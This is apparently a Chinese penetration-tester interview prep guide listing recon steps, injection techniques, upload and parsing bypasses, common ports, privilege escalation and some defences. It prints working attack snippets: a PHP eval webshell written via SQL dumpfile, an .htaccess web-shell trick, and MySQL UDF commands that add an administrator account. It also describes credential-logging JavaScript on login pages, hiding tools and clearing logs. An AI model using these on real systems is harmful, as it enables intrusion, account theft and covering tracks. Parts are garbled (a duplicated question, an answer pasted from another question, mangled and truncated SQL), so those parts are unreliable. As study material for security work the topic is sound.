2022渗透岗位面试(思路篇)
一、思路流程
1、信息收集
a、服務器的相關信息(真實ip,系統類型,版本,開放端口,WAF等)
b、網站指紋識別(包括,cms,cdn,證書等),dns記錄
c、whois信息,姓名,備案,郵箱,電話反查(郵箱丟社工庫,社工準備等)
e、子域名收集,旁站,C段等
f、google hacking針對化搜索,pdf文件,中間件版本,弱口令掃描等
g、掃描網站目錄結構,爆后臺,網站banner,測試文件,備份等敏感文件泄漏等
h、傳輸協議,通用漏洞,exp,github源碼等
2、漏洞挖掘
a、瀏覽網站,看看網站規模,功能,特點等
b、端口,弱口令,目錄等掃描,對響應的端口進行漏洞探測,比如 rsync,心zang出血,mysql,ftp,ssh弱口令等。
c、XSS,SQL注入,上傳,命令注入,CSRF,cookie安全檢測,敏感信息,通信數據傳輸,暴力破解,任意文件上傳,越權訪問,未授權訪問,目錄遍歷,文件 包含,重放攻擊(短信轟炸),服務器漏洞檢測,最后使用漏掃工具等
3、漏洞利用&權限提升
a、mysql提權,serv-u提權,oracle提權
b、windows 溢出提權
c、linux臟牛,內核漏洞提權e
4、清除測試數據&輸出報告
日志、測試數據的清理
總結,輸出滲透測試報告,附修復方案
5、復測
驗證并發現是否有新漏洞,輸出報告,歸檔
二、問題
1、拿到一個待檢測的站,你覺得應該先做什么?
信息收集
a、獲取域名的whois信息,獲取注冊者郵箱姓名電話等,丟社工庫里看看有沒有泄露密碼,然后嘗試用泄露的密碼進行登錄后臺。
用郵箱做關鍵詞進行丟進搜索引擎。
利用搜索到的關聯信息找出其他郵箱進而得到常用社交賬號。
社工找出社交賬號,里面或許會找出管理員設置密碼的習慣 。
利用已有信息生成專用字典。
b、查詢服務器旁站以及子域名站點,因為主站一般比較難,所以先看看旁站有沒有通用性的cms或者其他漏洞。
c、查看服務器操作系統版本,web中間件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞
d、查看IP,進行IP地址端口掃描,對響應的端口進行漏洞探測,比如 rsync,心zang出血,mysql,ftp,ssh弱口令等。
e、掃描網站目錄結構,看看是否可以遍歷目錄,或者敏感文件泄漏,比如php探針
f、google hack 進一步探測網站的信息,后臺,敏感文件
漏洞掃描
開始檢測漏洞,如XSS,XSRF,sql注入,代碼執行,命令執行,越權訪問,目錄讀取,任意文件讀取,下載,文件包含,遠程命令執行,弱口令,上傳,編輯器漏洞,暴力破解等
漏洞利用
利用以上的方式拿到webshell,或者其他權限
權限提升
提權服務器,比如windows下mysql的udf提權,serv-u提權,windows低版本的漏洞,如iis6,pr,巴西烤肉,linux臟牛漏洞,linux內核版本漏洞提權,linux下的mysql system提權以及oracle低權限提權
日志清理
總結報告及修復方案
2、判斷出網站的CMS對滲透有什么意義?
查找網上已曝光的程序漏洞。
如果開源,還能下載相對應的源碼進行代碼審計。
3.一個成熟并且相對安全的CMS,滲透時掃目錄的意義?
敏感文件、二級目錄掃描
站長的誤操作比如:網站備份的壓縮文件、說明.txt、二級目錄可能存放著其他站點
4.常見的網站服務器容器。
IIS、Apache、nginx、Lighttpd、Tomcat
5.mysql注入點,用工具對目標站直接寫入一句話,需要哪些條件?
root權限以及網站的絕對路徑。
6.目前已知哪些版本的容器有解析漏洞,具體舉例。
a、IIS 6.0
/xx.asp/xx.jpg "xx.asp"是文件夾名
b、IIS 7.0/7.5
默認Fast-CGI開啟,直接在url中圖片地址后面輸入/1.php,會把正常圖片當成php解析
c、Nginx
版本小于等于0.8.37,利用方法和IIS 7.0/7.5一樣,Fast-CGI關閉情況下也可利用。空字節代碼 xxx.jpg.php
d、Apache 上傳的文件命名為:test.php.x1.x2.x3,Apache是從右往左判斷后綴
e、lighttpd xx.jpg/xx.php,不全,請小伙伴們在評論處不吝補充,謝謝!
7.如何手工快速判斷目標站是windows還是linux服務器?
linux大小寫敏感,windows大小寫不敏感。
8.為何一個mysql數據庫的站,只有一個80端口開放?
8.為何一個mysql數據庫的站,只有一個80端口開放?
更改了端口,沒有掃描出來。
站庫分離。
3306端口不對外開放
9、3389無法連接的幾種情況
沒開放3389 端口
端口被修改
防護攔截
處于內網(需進行端口轉發)
10.如何突破注入時字符被轉義?
寬字符注入
hex編碼繞過
11.在某后臺新聞編輯界面看到編輯器,應該先做什么?
查看編輯器的名稱版本,然后搜索公開的漏洞。
12.拿到一個webshell發現網站根目錄下有.htaccess文件,我們能做什么?
能做的事情很多,用隱藏網馬來舉例子:
插入
<FilesMatch “xxx.jpg”> SetHandler application/x-httpd-php
.jpg文件會被解析成.php文件。
具體其他的事情,不好詳說,建議大家自己去搜索語句來玩玩。
13.注入漏洞只能查賬號密碼?
只要權限廣,拖庫脫到老。
14.安全狗會追蹤變量,從而發現出是一句話木馬嗎?
是根據特征碼,所以很好繞過了,只要思路寬,繞狗繞到歡,但這應該不會是一成不變的。
**15.access 掃出后綴為asp的數據庫文件,訪問亂碼,如何實現到本地利用?
迅雷下載,直接改后綴為.mdb。
16.提權時選擇可讀寫目錄,為何盡量不用帶空格的目錄?
因為exp執行多半需要空格界定參數
17.某服務器有站點A,B 為何在A的后臺添加test用戶,訪問B的后臺。發現也添加上了test用戶?
同數據庫。
18.注入時可以不使用and 或or 或xor,直接order by 開始注入嗎?
and/or/xor,前面的1=1、1=2步驟只是為了判斷是否為注入點,如果已經確定是注入點那就可以省那步驟去。
19:某個防注入系統,在注入時會提示:
系統檢測到你有非法注入的行為。
已記錄您的ip xx.xx.xx.xx
時間:2016:01-23
提交頁面:test.asp?id=15
提交內容:and 1=1
20、如何利用這個防注入系統拿shell?
在URL里面直接提交一句話,這樣網站就把你的一句話也記錄進數據庫文件了 這個時候可以嘗試尋找網站的配置文件 直接上菜刀鏈接。
21.上傳大馬后訪問亂碼時,有哪些解決辦法?
瀏覽器中改編碼。
22.審查上傳點的元素有什么意義?
有些站點的上傳文件類型的限制是在前端實現的,這時只要增加上傳類型就能突破限制了。
23.目標站禁止注冊用戶,找回密碼處隨便輸入用戶名提示:“此用戶不存在”,你覺得這里怎樣利用?
先爆破用戶名,再利用被爆破出來的用戶名爆破密碼。
其實有些站點,在登陸處也會這樣提示
所有和數據庫有交互的地方都有可能有注入。
24.目標站發現某txt的下載地址為
http://www.test.com/down/down.php?file=/upwdown/1.txt,你有什么思路?
這就是傳說中的下載漏洞!在file=后面嘗試輸入index.php下載他的首頁文件,然后在首頁文件里繼續查找其他網站的配置文件,可以找出網站的數據庫密碼和數據庫的地址。
**25.甲給你一個目標站,并且告訴你根目錄下存在/abc/目錄,并且此目錄下存在編輯器和admin目錄。**請問你的想法是?
直接在網站二級目錄/abc/下掃描敏感文件及目錄。
26.在有shell的情況下,如何使用xss實現對目標站的長久控制?
后臺登錄處加一段記錄登錄賬號密碼的js,并且判斷是否登錄成功,如果登錄成功,就把賬號密碼記錄到一個生僻的路徑的文件中或者直接發到自己的網站文件中。(此方法適合有價值并且需要深入控制權限的網絡)。
在登錄后才可以訪問的文件中插入XSS腳本。
27.后臺修改管理員密碼處,原密碼顯示為。你覺得該怎樣實現讀出這個用戶的密碼?*
審查元素 把密碼處的password屬性改成text就明文顯示了
28.目標站無防護,上傳圖片可以正常訪問,上傳腳本格式訪問則403.什么原因?
原因很多,有可能web服務器配置把上傳目錄寫死了不執行相應腳本,嘗試改后綴名繞過
29.審查元素得知網站所使用的防護軟件,你覺得怎樣做到的?
在敏感操作被攔截,通過界面信息無法具體判斷是什么防護的時候,F12看HTML體部 比如護衛神就可以在名稱那看到內容。
30.在win2003服務器中建立一個 .zhongzi文件夾用意何為?
隱藏文件夾,為了不讓管理員發現你傳上去的工具。
31、sql注入有以下兩個測試選項,選一個并且闡述不選另一個的理由:
A. demo.jsp?id=2+1
B. demo.jsp?id=2-1
選B,在 URL 編碼中 + 代表空格,可能會造成混淆
32、以下鏈接存在 sql 注入漏洞,對于這個變形注入,你有什么思路?
demo.do?DATA=AjAxNg==
DATA有可能經過了 base64 編碼再傳入服務器,所以我們也要對參數進行 base64 編碼才能正確完成測試
33、發現 demo.jsp?uid=110 注入點,你有哪幾種思路獲取 webshell,哪種是優選?
有寫入權限的,構造聯合查詢語句使用using INTO OUTFILE,可以將查詢的輸出重定向到系統的文件中,這樣去寫入 WebShell 使用 sqlmap –os-shell 原理和上面一種相同,來直接獲得一個 Shell,這樣效率更高 通過構造聯合查詢語句得到網站管理員的賬戶和密碼,然后掃后臺登錄后臺,再在后臺通過改包上傳等方法上傳 Shell
34、CSRF 和 XSS 和 XXE 有什么區別,以及修復方式?
XSS是跨站腳本攻擊,用戶提交的數據中可以構造代碼來執行,從而實現竊取用戶信息等攻擊。修復方式:對字符實體進行轉義、使用HTTP Only來禁止JavaScript讀取Cookie值、輸入時校驗、瀏覽器與Web應用端采用相同的字符編碼。
CSRF是跨站請求偽造攻擊,XSS是實現CSRF的諸多手段中的一種,是由于沒有在關鍵操作執行時進行是否由用戶自愿發起的確認。修復方式:篩選出需要防范CSRF的頁面然后嵌入Token、再次輸入密碼、檢驗Referer XXE是XML外部實體注入攻擊,XML中可以通過調用實體來請求本地或者遠程內容,和遠程文件保護類似,會引發相關安全問題,例如敏感文件讀取。修復方式:XML解析庫在調用時嚴格禁止對外部實體的解析。
35、CSRF、SSRF和重放攻擊有什么區別?
CSRF是跨站請求偽造攻擊,由客戶端發起 SSRF是服務器端請求偽造,由服務器發起 重放攻擊是將截獲的數據包進行重放,達到身份認證等目的
36、說出至少三種業務邏輯漏洞,以及修復方式?
密碼找回漏洞中存在
1)密碼允許暴力破解、
2)存在通用型找回憑證、
3)可以跳過驗證步驟、
4)找回憑證可以攔包獲取
等方式來通過廠商提供的密碼找回功能來得到密碼。身份認證漏洞中最常見的是
1)會話固定攻擊
2) Cookie 仿冒
只要得到 Session 或 Cookie 即可偽造用戶身份。驗證碼漏洞中存在
1)驗證碼允許暴力破解
2)驗證碼可以通過 Javascript 或者改包的方法來進行繞過
37、圈出下面會話中可能存在問題的項,并標注可能會存在的問題?
get /ecskins/demo.jsp?uid=2016031900&keyword=”hello world” HTTP/1.1Host:***.com:82User-Agent:Mozilla/ 5.0 Firefox/40Accept:text/css,/;q=0.1 Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3 Referer:http://*******.com/eciop/orderForCC/ cgtListForCC.htm?zone=11370601&v=145902 Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d; uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ; st_uid=N90PLYHLZGJXI-NX01VPUF46W; status=True Connection:keep-alive有寫入權限的,構造聯合查詢語句使用using INTO OUTFILE,可以將查詢的輸出重定向到系統的文件中,這樣去寫入 WebShell 使用 sqlmap –os-shell 原理和上面一種相同,來直接獲得一個 Shell,這樣效率更高 通過構造聯合查詢語句得到網站管理員的賬戶和密碼,然后掃后臺登錄后臺,再在后臺通過改包上傳等方法上傳 Shell
38、給你一個網站你是如何來滲透測試的?在獲取書面授權的前提下。
39、sqlmap,怎么對一個注入點注入?
1)如果是get型號,直接,sqlmap -u “諸如點網址”.
2) 如果是post型諸如點,可以sqlmap -u "注入點網址” --data=“post的參數”
3)如果是cookie,X-Forwarded-For等,可以訪問的時候,用burpsuite抓包,注入處用號替換,放到文件里,然后sqlmap -r “文件地址”
40、nmap,掃描的幾種方式
41、sql注入的幾種類型?
1)報錯注入
2)bool型注入
3)延時注入
4)寬字節注入
42、報錯注入的函數有哪些?10個
1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】
2)通過floor報錯 向下取整
3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4).geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));
5).multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));
6).polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));
7).multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));
8).linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));
9).multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));
10).exp()select from test where id=1 and exp(~(select * from
43、延時注入如何來判斷?
if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)
44、盲注和延時注入的共同點?
都是一個字符一個字符的判斷
45、如何拿一個網站的webshell?上傳,后臺編輯模板,sql注入寫文件,命令執行,代碼執行, 一些已經爆出的cms漏洞,比如dedecms后臺可以直接建立腳本文件,wordpress上傳插件包含腳本文件zip壓縮包等
46、sql注入寫文件都有哪些函數?
select ‘一句話’ into outfile ‘路徑’
select ‘一句話’ into dumpfile ‘路徑’
select ‘<?php eval($_POST[1]) ?>’ into dumpfile ‘d:\wwwroot\baidu.com\nvhack.php’;
47、如何防止CSRF?
1)驗證referer
2)驗證token
詳細:http://cnodejs.org/topic/5533dd6e9138f09b629674fd
48、owasp 漏洞都有哪些?
1)SQL注入防護方法:
2)失效的身份認證和會話管理
3)跨站腳本攻擊XSS
4)直接引用不安全的對象
5)安全配置錯誤
6)敏感信息泄露
7)缺少功能級的訪問控制
8)跨站請求偽造CSRF
9)使用含有已知漏洞的組件
10)未驗證的重定向和轉發
49、SQL注入防護方法?
1)使用安全的API
2)對輸入的特殊字符進行Escape轉義處理
3)使用白名單來規范化輸入驗證方法
4)對客戶端輸入進行控制,不允許輸入SQL注入相關的特殊字符
5)服務器端在提交數據庫進行SQL查詢之前,對特殊字符進行過濾、轉義、替換、刪除。
50、代碼執行,文件讀取,命令執行的函數都有哪些?
1)代碼執行:
eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
2)文件讀取:
file_get_contents(),highlight_file(),fopen(),read
file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
3)命令執行:
system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
51、img標簽除了onerror屬性外,還有其他獲取管理員路徑的辦法嗎?
src指定一個遠程的腳本文件,獲取referer
52、img標簽除了onerror屬性外,并且src屬性的后綴名,必須以.jpg結尾,怎么獲取管理員路徑。
1)遠程服務器修改apache配置文件,配置.jpg文件以php方式來解析 AddType application/x-httpd-php .jpg
53、為什么aspx木馬權限比asp大?
aspx使用的是.net技術。IIS 中默認不支持,ASP只是腳本語言而已。入侵的時候asp的木馬一般是guest權限…APSX的木馬一般是users權限。
54、如何繞過waf?
大小寫轉換法
干擾字符 /!/
編碼 base64 unicode hex url ascll
復參數
55、如何向服務器寫入webshell?
各種上傳漏洞
mysql具有寫入權限,用sql語句寫入shell
http put方法
56、滲透測試中常見的端口
a、web類(web漏洞/敏感目錄) 第三方通用組件漏洞struts thinkphp jboss ganglia zabbix
80 web
80-89 web
8000-9090 web
b、數據庫類(掃描弱口令)
1433 MSSQL
1521 Oracle
3306 MySQL
5432 PostgreSQL
c、特殊服務類(未授權/命令執行類/漏洞)
443 SSL心zang滴血
873 Rsync未授權
5984 CouchDB http://xxx:5984/_utils/
6379 redis未授權
7001,7002 WebLogic默認弱口令,反序列
9200,9300 elasticsearch 參考WooYun: 多玩某服務器ElasticSearch命令執行漏洞
11211 memcache未授權訪問
27017,27018 Mongodb未授權訪問
50000 SAP命令執行
50070,50030 hadoop默認端口未授權訪問
d、常用端口類(掃描弱口令/端口爆破)
21 ftp
22 SSH
23 Telnet
2601,2604 zebra路由,默認密碼zebra
3389 遠程桌面
ALL、端口合計詳情
21 ftp
22 SSH
23 Telnet
80 web
80-89 web
161 SNMP
389 LDAP
443 SSL心zang滴血以及一些web漏洞測試
445 SMB
512,513,514 Rexec
873 Rsync未授權
1025,111 NFS
1433 MSSQL
1521 Oracle:(iSqlPlus Port:5560,7778)
2082/2083 cpanel主機管理系統登陸 (國外用較多)
2222 DA虛擬主機管理系統登陸 (國外用較多)
2601,2604 zebra路由,默認密碼zebra
3128 squid代理默認端口,如果沒設置口令很可能就直接漫游內網了
3306 MySQL
3312/3311 kangle主機管理系統登陸
3389 遠程桌面
4440 rundeck 參考WooYun: 借用新浪某服務成功漫游新浪內網
5432 PostgreSQL
5900 vnc
5984 CouchDB http://xxx:5984/_utils/
6082 varnish 參考WooYun: Varnish HTTP accelerator CLI 未授權訪問易導致網站被直接篡改或者作為代理進入內網
6379 redis未授權
7001,7002 WebLogic默認弱口令,反序列
7778 Kloxo主機控制面板登錄
8000-9090 都是一些常見的web端口,有些運維喜歡把管理后臺開在這些非80的端口上
8080 tomcat/WDCP主機管理系統,默認弱口令
8080,8089,9090 JBOSS
8083 Vestacp主機管理系統 (國外用較多)
8649 ganglia
8888 amh/LuManager 主機管理系統默認端口
9200,9300 elasticsearch 參考WooYun: 多玩某服務器ElasticSearch命令執行漏洞
10000 Virtualmin/Webmin 服務器虛擬主機管理系統
11211 memcache未授權訪問
27017,27018 Mongodb未授權訪問
28017 mongodb統計頁面
50000 SAP命令執行
50070,50030 hadoop默認端口未授權訪問
三、某安全廠商一面
了解哪些漏洞
文件上傳有哪些防護方式
用什么掃描端口,目錄
如何判斷注入
注入有防護怎么辦
有沒有寫過tamper
3306 1443 8080是什么端口
計算機網絡從物理層到應用層xxxx
有沒有web服務開發經驗
如何向服務器寫入webshell
有沒有用過xss平臺
網站滲透的流程
mysql兩種提權方式(udf,?)
常見加密方式xxx
ddos如何防護
有沒有抓過包,會不會寫wireshark過濾規則
清理日志要清理哪些
四、SQL注入防護
1、使用安全的API
2、對輸入的特殊字符進行Escape轉義處理
3、使用白名單來規范化輸入驗證方法
4、對客戶端輸入進行控制,不允許輸入SQL注入相關的特殊字符
5、服務器端在提交數據庫進行SQL查詢之前,對特殊字符進行過濾、轉義、替換、刪除。
6、規范編碼,字符集
五、為什么參數化查詢可以防止SQL注入
原理:
使用參數化查詢數據庫服務器不會把參數的內容當作sql指令的一部分來執行,是在數據庫完成sql指令的編譯后才套用參數運行
簡單的說: 參數化能防注入的原因在于,語句是語句,參數是參數,參數的值并不是語句的一部分,數據庫只按語句的語義跑
六、SQL頭注入點
UA
REFERER
COOKIE
IP
七、盲注是什么?怎么盲注?
盲注是在SQL注入攻擊過程中,服務器關閉了錯誤回顯,我們單純通過服務器返回內容的變化來判斷是否存在SQL注入和利用的方式。盲注的手段有兩種,一個是通過頁面的返回內容是否正確(boolean-based),來驗證是否存在注入。一個是通過sql語句處理時間的不同來判斷是否存在注入(time-based),在這里,可以用benchmark,sleep等造成延時效果的函數,也可以通過構造大笛卡兒積的聯合查詢表來達到延時的目的。
八、寬字節注入產生原理以及根本原因
1、產生原理
在數據庫使用了寬字符集而WEB中沒考慮這個問題的情況下,在WEB層,由于0XBF27是兩個字符,在PHP中比如addslash和magic_quotes_gpc開啟時,由于會對0x27單引號進行轉義,因此0xbf27會變成0xbf5c27,而數據進入數據庫中時,由于0XBF5C是一個另外的字符,因此\轉義符號會被前面的bf帶著"吃掉",單引號由此逃逸出來可以用來閉合語句。
2、在哪里編碼
3、根本原因
character_set_client(客戶端的字符集)和character_set_connection(連接層的字符集)不同,或轉換函數如,iconv、mb_convert_encoding使用不當。
4、解決辦法
統一數據庫、Web應用、操作系統所使用的字符集,避免解析產生差異,最好都設置為UTF-8。或對數據進行正確的轉義,如mysql_real_escape_string+mysql_set_charset的使用。
5、SQL里面只有update怎么利用
先理解這句 SQL
UPDATE user SET password=‘MD5( p a s s w o r d ) ′ , h o m e p a g e = ′ password)', homepage=' password)′,homepage=′homepage’ WHERE id=‘$id’
如果此 SQL 被修改成以下形式,就實現了注入
a、修改 homepage 值為http://xxx.net’, userlevel='3
之后 SQL 語句變為
UPDATE user SET password=‘mypass’, homepage=‘http://xxx.net’, userlevel=‘3’ WHERE id=‘$id’
userlevel 為用戶級別
b、修改 password 值為mypass)’ WHERE username=‘admin’#
之后 SQL 語句變為
UPDATE user SET password=‘MD5(mypass)’ WHERE username=‘admin’#)‘, homepage=‘ h o m e p a g e ′ W H E R E i d = ′ homepage' WHERE id=' homepage′WHEREid=′id’
c、修改 id 值為’ OR username='admin’之后 SQL 語句變為
UPDATE user SET password=‘MD5( p a s s w o r d ) ′ , h o m e p a g e = ′ password)', homepage=' password)′,homepage=′homepage’ WHERE id=‘’ OR username=‘admin’
九、SQL如何寫shell/單引被過濾怎么辦
寫shell: root權限,GPC關閉,知道文件路徑 outfile函數
http://127.0.0.1:81/sqli.php?id=1 into outfile ‘C:\wamp64\www\phpinfo.php’ FIELDS TERMINATED BY ‘<?php phpinfo(); ?>’
http://127.0.0.1:81/sqli.php?id=-1 union select 1,0x3c3f70687020706870696e666f28293b203f3e,3,4 into outfile ‘C:\wamp64\www\phpinfo.php’
寬字節注入
1、代替空格的方法
%0a、%0b、%a0 等
/**/ 等注釋符
<>
2、mysql的網站注入,5.0以上和5.0以下有什么區別
5.0以下沒有information_schema這個系統表,無法列表名等,只能暴力跑表名。
5.0以下是多用戶單操作,5.0以上是多用戶多操做。
十、XSS
1、XSS原理
反射型
用戶提交的數據中可以構造代碼來執行,從而實現竊取用戶信息等攻擊。需要誘使用戶“點擊”一個惡意鏈接,才能攻擊成功
存儲型
存儲型XSS會把用戶輸入的數據“存儲”在服務器端。這種XSS具有很強的穩定性。
DOM型
通過修改頁面的DOM節點形成的XSS,稱之為DOM Based XSS。
2、DOM型和反射型的區別
反射型XSS:通過誘導用戶點擊,我們構造好的惡意payload才會觸發的XSS。反射型XSS的檢測我們在每次請求帶payload的鏈接時頁面應該是會帶有特定的畸形數據的。DOM型:通過修改頁面的DOM節點形成的XSS。DOM-based XSS由于是通過js代碼進行dom操作產生的XSS,所以在請求的響應中我們甚至不一定會得到相應的畸形數據。根本區別在我看來是輸出點的不同。
3、DOM型和XSS自動化測試或人工測試
人工測試思路:找到類似document.write、innerHTML賦值、outterHTML賦值、window.location操作、寫javascript:后內容、eval、setTimeout 、setInterval 等直接執行之類的函數點。找到其變量,回溯變量來源觀察是否可控,是否經過安全函數。自動化測試參看道哥的博客,思路是從輸入入手,觀察變量傳遞的過程,最終檢查是否有在危險函數輸出,中途是否有經過安全函數。但是這樣就需要有一個javascript解析器,否則會漏掉一些通過js執行帶入的部分內容。
在回答這段問題的時候,由于平時對客戶的檢測中,基本是憑借不同功能點的功能加上經驗和直覺來進行檢測,對不同類型的XSS檢測方式實際上并沒有太過細分的標準化檢測方式,所以回答的很爛。。。
4、如何快速發現XSS位置
5、對于XSS怎么修補建議
輸入點檢查:對用戶輸入的數據進行合法性檢查,使用filter過濾敏感字符或對進行編碼轉義,針對特定類型數據進行格式檢查。針對輸入點的檢查最好放在服務器端實現。
輸出點檢查:對變量輸出到HTML頁面中時,對輸出內容進行編碼轉義,輸出在HTML中時,對其進行HTMLEncode,如果輸出在Javascript腳本中時,對其進行JavascriptEncode。對使用JavascriptEncode的變量都放在引號中并轉義危險字符,data部分就無法逃逸出引號外成為code的一部分。還可以使用更加嚴格的方法,對所有數字字母之外的字符都使用十六進制編碼。此外,要注意在瀏覽器中,HTML的解析會優先于Javascript的解析,編碼的方式也需要考慮清楚,針對不同的輸出點,我們防御XSS的方法可能會不同,這點可能在之后的文章會做下總結。
除此之外,還有做HTTPOnly對Cookie劫持做限制。
6、XSS蠕蟲的生產條件
正常情況下,一個是產生XSS點的頁面不屬于self頁面,用戶之間產生交互行為的頁面,都可能造成XSS Worm的產生。
不一定需要存儲型XSS
十一、CSRF
1、CSRF原理
CSRF是跨站請求偽造攻擊,由客戶端發起,是由于沒有在關鍵操作執行時進行是否由用戶自愿發起的確認
2、防御
驗證Referer
添加token
3、token和referer做橫向對比,誰安全等級高?
token安全等級更高,因為并不是任何服務器都可以取得referer,如果從HTTPS跳到HTTP,也不會發送referer。并且FLASH一些版本中可以自定義referer。但是token的話,要保證其足夠隨機且不可泄露。(不可預測性原則)
4、對referer的驗證,從什么角度去做?如果做,怎么杜絕問題
對header中的referer的驗證,一個是空referer,一個是referer過濾或者檢測不完善。為了杜絕這種問題,在驗證的白名單中,正則規則應當寫完善。
5、針對token,對token測試會注意哪方面被人,會對token的哪方面進行測試?
引用一段請教前輩的回答:
針對token的攻擊,一是對它本身的攻擊,重放測試一次性、分析加密規則、校驗方式是否正確等,二是結合信息泄露漏洞對它的獲取,結合著發起組合攻擊
信息泄露有可能是緩存、日志、get,也有可能是利用跨站
很多跳轉登錄的都依賴token,有一個跳轉漏洞加反射型跨站就可以組合成登錄劫持了
另外也可以結合著其它業務來描述token的安全性及設計不好怎么被繞過比如搶紅包業務之類的
十二、SSRF
SSRF(Server-Side Request Forgery:服務器端請求偽造) 是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。一般情況下,SSRF攻擊的目標是從外網無法訪問的內部系統。(正是因為它是由服務端發起的,所以它能夠請求到與它相連而與外網隔離的內部系統)
SSRF 形成的原因大都是由于服務端提供了從其他服務器應用獲取數據的功能且沒有對目標地址做過濾與限制。比如從指定URL地址獲取網頁文本內容,加載指定地址的圖片,下載等等。
1、監測
SSRF漏洞的驗證方法:
1)因為SSRF漏洞是讓服務器發送請求的安全漏洞,所以我們就可以通過抓包分析發送的請求是否是由服務器的發送的,從而來判斷是否存在SSRF漏洞
2)在頁面源碼中查找訪問的資源地址 ,如果該資源地址類型為 www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞 4[1]
2、SSRF漏洞的成因 防御 繞過
成因:模擬服務器對其他服務器資源進行請求,沒有做合法性驗證。利用:構造惡意內網IP做探測,或者使用其余所支持的協議對其余服務進行攻擊。防御:禁止跳轉,限制協議,內外網限制,URL限制。繞過:使用不同協議,針對IP,IP格式的繞過,針對URL,惡意URL增添其他字符,@之類的。301跳轉+dns rebindding。
十三、上傳
1、文件上傳漏洞原理
由于程序員在對用戶文件上傳部分的控制不足或者處理缺陷,而導致用戶可以越過其本身權限向服務器上傳可執行的動態腳本文件
2、常見的上傳繞過方式
前端js驗證:禁用js/burp改包
大小寫
雙重后綴名
過濾繞過 pphphp->php
3、防護
文件上傳目錄設置為不可執行
使用白名單判斷文件上傳類型
用隨機數改寫文件名和路徑
4、審查上傳點的元素有什么意義?
有些站點的上傳文件類型的限制是在前端實現的,這時只要增加上傳類型就能突破限制了。
十四、文件包含
1、原理
引入一段用戶能控制的腳本或代碼,并讓服務器端執行 include()等函數通過動態變量的方式引入需要包含的文件;
用戶能夠控制該動態變量。
2、導致文件包含的函數
PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(), … JSP/Servlet:ava.io.File(), java.io.Fil-eReader(), … ASP:include file, include virtual,
3、本地文件包含
能夠打開并包含本地文件的漏洞,被稱為本地文件包含漏洞
十五、邏輯漏洞
1、金融行業常見邏輯漏洞
單針對金融業務的 主要是數據的篡改(涉及金融數據,或部分業務的判斷數據),由競爭條件或者設計不當引起的薅羊毛,交易/訂單信息泄露,水平越權對別人的賬戶查看或惡意操作,交易或業務步驟繞過。
十六、中間人攻擊
中間人攻擊是一個(缺乏)相互認證的攻擊;由于客戶端與服務器之間在SSL握手的過程中缺乏相互認證而造成的漏洞
防御中間人攻擊的方案通常基于一下幾種技術
1.公鑰基礎建設PKI 使用PKI相互認證機制,客戶端驗證服務器,服務器驗證客戶端;上述兩個例子中都是只驗證服務器,這樣就造成了SSL握手環節的漏洞,而如果使用相互認證的的話,基本可以更強力的相互認證
2.延遲測試
使用復雜加密哈希函數進行計算以造成數十秒的延遲;如果雙方通常情況下都要花費20秒來計算,并且整個通訊花費了60秒計算才到達對方,這就能表明存在第三方中間人。
3.使用其他形式的密鑰交換形式
ARP欺騙
原理
每臺主機都有一個ARP緩存表,緩存表中記錄了IP地址與MAC地址的對應關系,而局域網數據傳輸依靠的是MAC地址。在ARP緩存表機制存在一個缺陷,就是當請求主機收到ARP應答包后,不會去驗證自己是否向對方主機發送過ARP請求包,就直接把這個返回包中的IP地址與MAC地址的對應關系保存進ARP緩存表中,如果原有相同IP對應關系,原有的則會被替換。這樣攻擊者就有了偷聽主機傳輸的數據的可能
防護
1.在主機綁定網關MAC與IP地址為靜態(默認為動態),命令:arp -s 網關IP 網關MAC
2.在網關綁定主機MAC與IP地址
3.使用ARP防火墻
十七、DDOS
1、DDOS原理
利用合理的請求造成資源過載,導致服務不可用
syn洪流的原理
偽造大量的源IP地址,分別向服務器端發送大量的SYN包,此時服務器端會返回SYN/ACK包,因為源地址是偽造的,所以偽造的IP并不會應答,服務器端沒有收到偽造IP的回應,會重試3~5次并且等待一個SYNTime(一般為30秒至2分鐘),如果超時則丟棄這個連接。攻擊者大量發送這種偽造源地址的SYN請求,服務器端將會消耗非常多的資源(CPU和內存)來處理這種半連接,同時還要不斷地對這些IP進行SYN+ACK重試。最后的結果是服務器無暇理睬正常的連接請求,導致拒絕服務。
CC攻擊原理
對一些消耗資源較大的應用頁面不斷發起正常的請求,以達到消耗服務端資源的目的。
2、DOSS防護
SYN Cookie/SYN Proxy、safereset等算法。SYN Cookie的主要思想是為每一個IP地址分配一個“Cookie”,并統計每個IP地址的訪問頻率。如果在短時間內收到大量的來自同一個IP地址的數據包,則認為受到攻擊,之后來自這個IP地址的包將被丟棄。
十八、提權
MySQL兩種提權方式
udf提權,mof提權
MySQL_UDF提取
要求: 1.目標系統是Windows(Win2000,XP,Win2003);2.擁有MYSQL的某個用戶賬號,此賬號必須有對mysql的insert和delete權限以創建和拋棄函數 3.有root賬號密碼 導出udf: MYSQL 5.1以上版本,必須要把udf.dll文件放到MYSQL安裝目錄下的lib\plugin文件夾下才能創建自定義函數 可以再mysql里輸入select @@basedirshow variables like ‘%plugins%’ 尋找mysql安裝路徑 提權:
使用SQL語句創建功能函數。語法:Create Function 函數名(函數名只能為下面列表中的其中之一)returns string soname ‘導出的DLL路徑’;
create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘net user arsch arsch /add’);
select cmdshell(‘net localgroup administrators arsch /add’);
drop function cmdshell;
該目錄默認是不存在的,這就需要我們使用webshell找到MYSQL的安裝目錄,并在安裝目錄下創建lib\plugin文件夾,然后將udf.dll文件導出到該目錄即可。
